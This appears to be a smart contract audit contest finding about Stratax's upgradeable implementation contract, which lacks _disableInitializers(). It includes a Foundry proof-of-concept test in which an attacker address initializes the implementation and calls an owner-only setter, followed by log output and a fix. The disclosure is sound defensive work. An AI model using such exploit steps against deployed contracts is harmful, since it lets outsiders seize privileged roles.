Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Upgradeable contracts missing _disableInitializers() in constructors

Author Revealed upon completion

Upgradeable contracts missing _disableInitializers() in constructors

Description

In upgradeable contract patterns (such as those using OpenZeppelin's UUPS or Transparent proxies), the implementation (logic) contract is deployed independently from the proxy. If the implementation contract does not call _disableInitializers() in its constructor, it can be initialized directly by anyone, which is not intended and can lead to security risks

function initialize(
address _aavePool,
address _aaveDataProvider,
address _oneInchRouter,
address _usdc,
address _strataxOracle
) external initializer {
// other codes
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers(); // <@ missing this line
}

Risk

Likelihood:

The attack can occured if the contract is upgraded to new implementation.

Impact:

If the implementation contract is initialized directly, an attacker could set themselves as the owner or assign other privileged roles, potentially interfering with the upgrade process or causing confusion. While this does not directly affect the proxy's state, it can break upgradeability, allow denial of service, or create unexpected behaviors in the system.


Proof of Concept

Copy all this function inside Stratax.t.sol

Run forge test --match-test testReinitialize -vvv

function testReinitialize() public {
address attacker = address(1);
console.log("Initial proxy owner:", Stratax(address(proxy)).owner());
console.log("Initial contract implementation owner:", strataxImplementation.owner());
console.log("Attacker tries to reinitialize the implementation contract");
vm.prank(attacker);
strataxImplementation.initialize(AAVE_POOL, AAVE_PROTOCOL_DATA_PROVIDER, INCH_ROUTER, USDC, address(strataxOracle));
console.log("Current contract implementation owner: ", strataxImplementation.owner());
console.log("Attacker can set function where only owner can call");
vm.prank(attacker);
strataxImplementation.setStrataxOracle(attacker);
}

Log output

Initial proxy owner: 0x0000000000000000000000000000000000000123
Initial contract implementation owner: 0x0000000000000000000000000000000000000000
Attacker tries to reinitialize the implementation contract
Current contract implementation owner: 0x0000000000000000000000000000000000000001
Attacker can set function where only owner can call

Recommended Mitigation

Add a constructor to affected contract that calls _disableInitializers(). This ensures the implementation contract cannot be initialized or reinitialized, preventing any unauthorized or accidental initialization outside the proxy context.

+constructor() {
+ _disableInitializers();
+}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!